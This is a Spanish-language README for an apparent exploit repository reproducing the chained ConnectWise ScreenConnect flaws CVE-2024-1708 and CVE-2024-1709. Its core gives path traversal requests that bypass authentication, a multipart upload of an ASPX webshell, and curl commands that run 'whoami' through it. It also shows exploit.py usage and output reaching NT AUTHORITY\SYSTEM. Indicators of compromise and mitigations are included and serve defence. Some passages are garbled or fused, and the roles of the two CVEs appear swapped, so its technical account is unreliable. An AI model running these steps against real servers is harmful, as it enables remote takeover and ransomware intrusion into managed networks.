
Reproducción de cve-2024-1708-connectwise_rce_reproduction
Puntuación CVSS: 8.4 (CVE-2024-1708) – 10.0 (CVE-2024-1709)
CWE: CWE-22 (Salto de ruta), CWE-288 (Bypass de autenticación mediante una ruta alternativa)
Software afectado: ConnectWise ScreenConnect (anteriormente ScreenConnect) ≤ 23.9.7
Descubierto y reportado: Febrero de 2024
Explotado activamente: LockBit, Black Basta, Bl00dy y otros afiliados de ransomware
CVE-2024-1708 y CVE-2024-1709 son un par de vulnerabilidades encadenadas en ConnectWise ScreenConnect (anteriormente ConnectWise Control) que, en conjunto, permiten a un atacante remoto no autenticado lograr la ejecución remota completa de código en el servidor ScreenConnect.
CVE-2024-1708 — Bypass de autenticación mediante salto de ruta. El endpoint SetupWizard.aspx (y los endpoints relacionados de configuración/actualización) no sanitiza correctamente las secuencias de salto de ruta proporcionadas por el usuario (../). Un atacante no autenticado puede salir del directorio de configuración previsto y alcanzar endpoints que deberían requerir autenticación. Debido a que el asistente se ejecuta en el contexto de la cuenta SYSTEM (Windows) o root (Linux), el atacante hereda privilegios elevados.
CVE-2024-1709 — Carga de archivos sin restricciones que conduce a RCE. Una vez que se omite la autenticación, un atacante puede subir un archivo .aspx arbitrario u otro archivo ejecutable a la raíz web. Al solicitar posteriormente el archivo subido, se ejecuta código arbitrario en el servidor.
Estas vulnerabilidades fueron explotadas masivamente a partir del 19 de febrero de 2024 por múltiples grupos de ransomware:
| Grupo de ransomware | Notas de la campaña |
|---|---|
| LockBit | Escaneo masivo de instancias de ScreenConnect; utilizado para implementar el cifrador LockBit en etapas posteriores. |
| Black Basta | Aprovechó el acceso a los MSP para pivotar hacia las redes de clientes gestionados. |
| Bl00dy | Campañas a menor escala dirigidas a servidores ScreenConnect sin parchear. |
Debido a que ScreenConnect es implementado comúnmente por Proveedores de Servicios Gestionados (MSP) para gestionar remotamente cientos de endpoints de clientes, un único servidor ScreenConnect comprometido permite un ataque a la cadena de suministro: todos los clientes con un agente conectado a ese servidor ScreenConnect están en riesgo.
El servidor ScreenConnect expone un asistente de configuración en:
/SetupWizard.aspx/
Bajo ciertos estados de actualización/reparación, el servidor no aplica la autenticación porque asume que el asistente de configuración es la experiencia de primera ejecución. La falla crítica está en cómo el servidor procesa la cookie __Session o las cabeceras Transfer-Encoding / Content-Type al acceder a rutas dentro del espacio de nombres del asistente.
Al enviar una solicitud a:
/SetupWizard.aspx/../../ScreenConnect/Login.aspx
el salto de ruta cancela el contexto de «asistente de configuración», mientras que el servidor aún cree que aplica el contexto de sesión no autenticada. El atacante es redirigido o recibe páginas como si estuviera autenticado.
Vector alternativo: los manejadores PrepareUpgrade.aspx / PostUpgrade.aspx carecen igualmente de comprobaciones de autenticación y exponen funcionalidad de carga de archivos.
Una vez que el atacante alcanza un endpoint autenticado (o accede directamente al manejador de carga de archivos en el contexto de configuración), puede subir un webshell .aspx malicioso:
POST /SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="file"; filename="shell.aspx"
Content-Type: application/octet-stream
<%@ Page Language="C#" %>...
------BOUNDARY--
El archivo se escribe en el directorio de la aplicación web (p. ej., C:\Program Files\ScreenConnect\Website\). Solicitar el shell subido lo ejecuta bajo la identidad del servidor.
SetupWizard.aspx confía en que cualquier solicitud bajo su ruta es parte del proceso de configuración y debería omitir la autenticación, pero el salto de ruta rompe esa suposición.../ ni del recorrido de enlaces simbólicos.| Rango de versiones | Estado |
|---|---|
| 23.9.7 y anteriores | Vulnerable |
| 23.9.8 | Parcheada (publicada el 20 de febrero de 2024) |
| 23.9.9 | Parcheada |
| 23.9.10 (última) | Parcheada |
Nota: Los servidores ScreenConnect autoalojados (on-premise) son los principales objetivos. Las instancias de ScreenConnect alojadas por ConnectWise (nube) fueron parcheadas antes de la divulgación pública y nunca fueron vulnerables.
C:\Program Files\ScreenConnect\/opt/screenconnect/# Check the version
curl -s http://<target>:8040/ | Select-String "ScreenConnect"
O acceda a la interfaz web y anote el número de versión en el código fuente de la página.
curl -v --path-as-is "http://<target>:8040/SetupWizard.aspx/../../ScreenConnect/Login.aspx"
Comportamiento esperado en un servidor vulnerable:
curl -X POST "http://<target>:8040/SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx" \
-H "Content-Type: multipart/form-data; boundary=----BOUNDARY" \
-F "[email protected]"
curl "http://<target>:8040/shell.aspx?cmd=whoami"
El script exploit.py adjunto automatiza los pasos anteriores:
usage: exploit.py [-h] -t TARGET [-p PORT] [-c COMMAND] [--ssl]
Exploit CVE-2024-1708/1709 - ConnectWise ScreenConnect Auth Bypass + RCE
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target hostname or IP
-p PORT, --port PORT Target port (default: 8040)
-c COMMAND, --command COMMAND
Command to execute (default: whoami)
--ssl Use HTTPS
Example:
python exploit.py -t 192.168.1.100 -p 8040 -c "whoami"
$ python exploit.py -t 192.168.1.100 -c "whoami"
[*] Target: 192.168.1.100:8040
[*] Using SSL: False
[*] Step 1: Testing path traversal for auth bypass...
[+] Target appears vulnerable! Server version: 23.9.7
[*] Step 2: Uploading webshell...
[+] Webshell uploaded to: http://192.168.1.100:8040/PoCsAccSwLgSdE.aspx
[*] Step 3: Executing command 'whoami'...
[+] Output:
nt authority\system
Busque los siguientes IoC en los registros del servidor web:
GET /SetupWizard.aspx/../../ScreenConnect/
POST /SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx
GET /*.aspx?cmd=
Este repositorio se proporciona solo con fines educativos y de investigación de seguridad autorizada. Las pruebas no autorizadas contra sistemas que no posee o para los que no tiene permiso explícito por escrito son ilegales. Los autores no son responsables del mal uso de esta información.
| Control | Implementación |
|---|
| Reglas WAF | Bloquear solicitudes que contengan ../ en la ruta de la URL después de /SetupWizard.aspx/ |
| Segmentación de red | Colocar ScreenConnect en una VLAN de gestión segregada con filtrado de salida estricto |
| Control de acceso | Restringir el acceso a la interfaz web de ScreenConnect solo a rangos de IP de confianza |
| Supervisión | Alertar sobre solicitudes a /SetupWizard.aspx/ desde fuentes externas, o sobre la creación inesperada de archivos .aspx en ScreenConnect\Website\ |
| MFA | Aunque el MFA no detendría esto (el bypass de autenticación es previo al inicio de sesión), aplíquelo en todas las cuentas administrativas para defensa en profundidad |
| Fuente | URL |
|---|
| NVD - CVE-2024-1708 | https://nvd.nist.gov/vuln/detail/CVE-2024-1708 |
| NVD - CVE-2024-1709 | https://nvd.nist.gov/vuln/detail/CVE-2024-1709 |
| Aviso de seguridad de ConnectWise | https://www.connectwise.com/company/trust/security-advisories |
| Huntress Labs - Divulgación inicial | https://www.huntress.com/blog/mass-exploitation-of-connectwise-screenconnect |
| CISA Vulnerabilidades conocidas explotadas | https://www.cisa.gov/known-exploited-vulnerabilities |
| Técnica ATT&CK: Servicios remotos externos (T1133) | https://attack.mitre.org/techniques/T1133/ |